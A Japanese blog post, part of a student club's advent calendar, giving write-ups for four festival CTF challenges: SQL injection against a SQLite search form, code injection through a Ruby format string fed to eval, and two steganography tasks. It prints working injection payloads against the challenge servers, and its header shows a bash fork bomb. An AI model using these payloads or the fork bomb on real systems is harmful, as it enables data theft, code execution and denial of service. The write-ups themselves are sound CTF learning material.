$ :(){ :|:& };:

$ :(){ :|:& };:

:: fork failed: resource temporarily unavailable

駒場祭 TSGCTF day1 Writeup

これは TSG Advent Calendar 2018 の3日目の記事です.

adventar.org

昨日12/2は くっきーさんの駒場祭企画 TSG LIVE! 2 CTF DAY1の問題 でした.


先日11/23-25に駒場祭があり.私が所属しているサークルTSG(東京大学理論科学グループ)では企画として3日間を通してプログラミングの生放送をしました.そのうち,私は配信の関係でhakatashiさんの代わりのJP3BGY氏と共に1日目のLIVE CTFにプレイヤーとして参加をしました.

5問のうち本番1時間で解けた問題は simqleの1問のみでしたが,終了後これに加え3問解くことができたので,計4問のWriteupを公開します. ちなみに残り1問のforensicはJP3BGY氏が実質解けたと仰っていたのでめでたくTeamBLUEは全完です(いいえ) 追記(2018/12/6):僕がforも解いたので全完です わいわい

問題は以下で公開されています.

https://ctf-day1.tsg.ne.jp/

問題製作者のくっきー氏曰く12/9までは少なくとも遊べるようになっているそうです.

[Web 100] simqle

TSG部員の情報を検索できるようなフォームがあるWebページが渡される.

f:id:taiyoslime:20181203194457p:plain

ソースコードが与えられており,フォームのパラメータを受けとりSQL文を発行している部分を抽出すると以下のようになっている. ( https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-simqle/app.rb からでも閲覧可能)

...
params = JSON.parse request.body.read rescue return 400
%w(name since until title url).each do |key|
    return 400 if params[key] && params[key].bytesize > 500
end
return 400 if params["name"] && params["name"].bytesize > 20

filter = "name LIKE '%%%s%%'" % params["name"]
filter+= params["since"] && params["until"] ?
  " AND year BETWEEN %d AND %d" % [params["since"].to_i, params["until"].to_i] : ''
filter+= params["title"] ?
  " AND title LIKE '%%%s%%'" % sql_escape(params["title"]) : ''
filter+= params["url"] ?
  " AND url LIKE '%%%s%%'" % sql_escape(params["url"]) : ''

sql = "SELECT name, year, title, url FROM members WHERE %s ORDER BY id DESC" % filter
...

また,関数sql_escapeは以下のように定義されている.

def sql_escape(x)
  x.gsub("'", "''")
end

タイトルからもSQL Injectionをする問題とみて間違いなさそうなので,SQLiteにおいてメタ情報を格納しているsqlite_masterテーブルのtbl_nameから,DB内のテーブル名一覧を抜き出すことを目標にSQLiできそうな場所を探す.

一見 title' union SELECT tbl_name,1,1,1 from sqlite_master --で終わりのように見えるが20文字以上になってしまうため上手く動かない.

そこで,例えば name' AND "title" union SELECT tbl_name,1,1,1 from sqlite_master -- とすると,最終的なSQL文となる文字列sql

SELECT name, year, title, url FROM members WHERE name LIKE '%' AND "%' AND year BETWEEN 0 AND 0 AND title LIKE '%" union SELECT tbl_name,1,1,1 from sqlite_master --%' AND url LIKE '%%' ORDER BY id DESC

となり上手く間が文字列となってくれSQLiが成功する.

上のSQLiが成功した結果,memberssqlite_sequenceの他にfl4gというテーブルがあることがわかる.

よって,同じように,name = ' and "title = " union SELECT *,1,1,1 from fl4g -- とすると,FLAGが出現した.

FLAG : TSGCTF{159_MEMBERS_ARE_IN_SLACK}

[Web 150] sha

saltflag の2つのテキストボックスをもつフォームが与えられる.

ソースコードが与えられており(https://github.com/cookie-s/tsgctf-kmbfes18-day1-pub/blob/master/web-sha/app.rb からでも閲覧可能),見るとこのsaltflagからcodeを生成し,codeをevalした結果を返却しているようである.コード生成部を抜粋すると次の通り.

salt = params[:salt]
file = params[:file] || 'flag'
logger.info [salt, file]

code = <<-END
require 'digest/sha2'
s = #{salt.inspect} + IO.binread(%p.gsub(?/,''))
puts Digest::SHA512.hexdigest(s)
END
code = code % file

一瞬伸長攻撃につなげる問題かと考えたが,Web問なので素直にWeb的にflagファイルを読み出す方法を考える.

直ぐ思いついたものは%pに適切なものを入れて任意コード実行するというもの.%pは与えられたObjectに対してObject#inspectをするようなsprintfのフォーマットであり,Object#inspectはオブジェクトを可読性の高い文字列に変換するメソッドである.例えば "hoge".inspect"\"hoge\""""\"".inspect""\"\\\"\"" となる.

ここからも分かるように,codeの2行目の%pの部分には少なくとも文字列としてダブルクオーテーションに囲まれた何かが入る訳で,例えばこの"を閉じて任意実行に持っていく発想として file = "\");puts `cat flag#" みたいなものを投げ,codes = #{salt.inspect} + IO.binread("");puts `cat flag#".gsub(?/,'')) のような文字列になることを期待したいとする.

しかし,先程見たとおり当然""\"".inspect""\"\\\"\""であるからs = #{salt.inspect} + IO.binread("\");puts `cat flag#".gsub(?/,''))という文字列 1 になってしまう.(要するに文字列をinspectすることで生じるダブルクオーテーションを閉じることは出来ない)故に%pの部分を用いて任意コード実行できるようなRubyコードを構成することは難しいように思える.

そのためsaltに例えば%s等を投げて,そちらにinjectすれば良いのでは無いかと試しているところで時間が終わる.

この方針は結局正しくて,salt="%s" とすると codeの2行目の文字列は

s = "%s" + IO.binread(%p.gsub(?/,'')) となる.2

よって,例えばfile = ["\";puts`cat flag`;#", "hoge"] とすると,codeの2行目の文字列は

s = "";puts`cat flag`;#" + IO.binread("hoge".gsub(?/,''))\n

実際は文字列なので "s= \"\";puts`cat flag`;#\" + IO.binread(\"hoge\".gsub(?/,''))\n" であり,これがevalされるわけなので任意のRubyコードが実行可能であることがわかる.

よって,salt=%25s&file[]=";puts`cat flag`;#&file[]=hoge のようなものを投げるとFLAGが読み出せた.

String#%について,文字列にsprintfの埋め込みが2箇所以上ある場合は渡す複数の文字列を配列にする必要があるが,sinatraはちゃんと複数の同名パラメータは配列になるのでこれで良い.

FLAG : TSGCTF{I_COULDN'T_COME_UP_WITH_ANYTHING_BUT_SHA_FUNCTION}

[Stego 100] 3tsg0

このページはstaticか?

公開されているTSGのHP(http://tsg.ne.jp/) と一見同じものが表示される.

curlしてdiffを取って見るが,HTMLについては各ページやリソースへのリンクが変化しているだけ またcss,jsについてはtsg.ne.jp以下のものを取って来ているだけであった. その他与えられているもので怪しいファイルや情報が無いため,注目するべきはHTMLファイルだろうと推測できる.

返却されたHTMLのResponse Headerを見ると,

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

となっている.(このあたりで本番は投げ出して他の問題を見始めた)

こういった静的なサイトとしてちょっと変だなあと思う点は Transfer-Encoding: chunked となっていることである.

Transfer-Encoding: chunked とは,データを一度に送信しContent-Lengthヘッダーでサイズを指定するのでなく,データを複数のchunkに分けて送信するようなHTTPのオプションであり,故にこのサーバーは継続的にデータを送ってきているのではないかと推測できる.

require "socket"
socket = TCPSocket.open("external.chals.ctf-day1.tsg.ne.jp",15682)
socket.print "GET / HTTP/1.0\r\n\r\n"
response = socket.read

みたいなことをし,responseを読むと,

...
54
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="utf-8">
    <meta name="d
53
escription" content="東京大学に本拠をおくコンピュータサークルTS
47
Gのウェブサイトです。">
...

等の,通常のブラウザやcurlでは見えていなかった文字列が見えていることがわかる.

目視で確認して16進数だと推測し,末尾に\r\nが付いているようなもののみを抽出すると,

response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}
# => 54
# 53
# 47
# 43
# 54
# 46
# 7b
# 49
# ....

のように,明らかにascii文字の範囲内に収まるような16進数がchunkとして送信されていることがわかる

よってこれらをascii文字に変換した後結合してFLAGとなる.

response.lines.select{|e| e=~/^[0-9a-f]{2}\r\n/}.map{|e| e[0,2].to_i(16).chr}.join
# => TSGCTF{I_THINK_IT_DEPENDS_ON_THE_DEFINITION_WHETHER_THIS_SITE_IS_STATIC}

FLAG : TSGCTF{I_THINK_IT_DEPENDS_ON_THE_DEFINITION_WHETHER_THIS_SITE_IS_STATIC}

[stego 100] W

部室の写真(png)が与えられる.

f:id:taiyoslime:20181203192356p:plain

stegsolveで見てあげると画像の各ピクセルのRed,Green,Buleの値のそれぞれ0bit目を色分けした画像が次のようになっている.

f:id:taiyoslime:20181203191228p:plain f:id:taiyoslime:20181203191239p:plain f:id:taiyoslime:20181203191320p:plain

Buleの上半分にRubyのコードのようなものが確認できるが判別しにくいため,ちょうどRedで得た市松模様とXORを取ってみると次のようになる. f:id:taiyoslime:20181203191326p:plain

下半分がGreenと同じような見た目になっていることがわかり,これとGreenとのXOR取るとコードが全貌が判明すると共にFLAGが得られる. f:id:taiyoslime:20181203191921p:plain

FLAG : TSGCTF{'RGB'.bytes.inject(&:^).chr}


明日12/4は moratoriumさんの TSGCTF day3 writeup です.


  1. これは文字列なので実際は "s = \"\" + IO.binread(\"\\\");puts `cat flag#\".gsub(?/,''))\n"

  2. 実際は,"s = \"%s\" + IO.binread(%p.gsub(?/,''))\n"である.また,code全体は"require 'digest/sha2'\n" + "hoge = \"%s\" + IO.binread(%p.gsub(?/,''))\n" + "puts Digest::SHA512.hexdigest(s)\n" となる.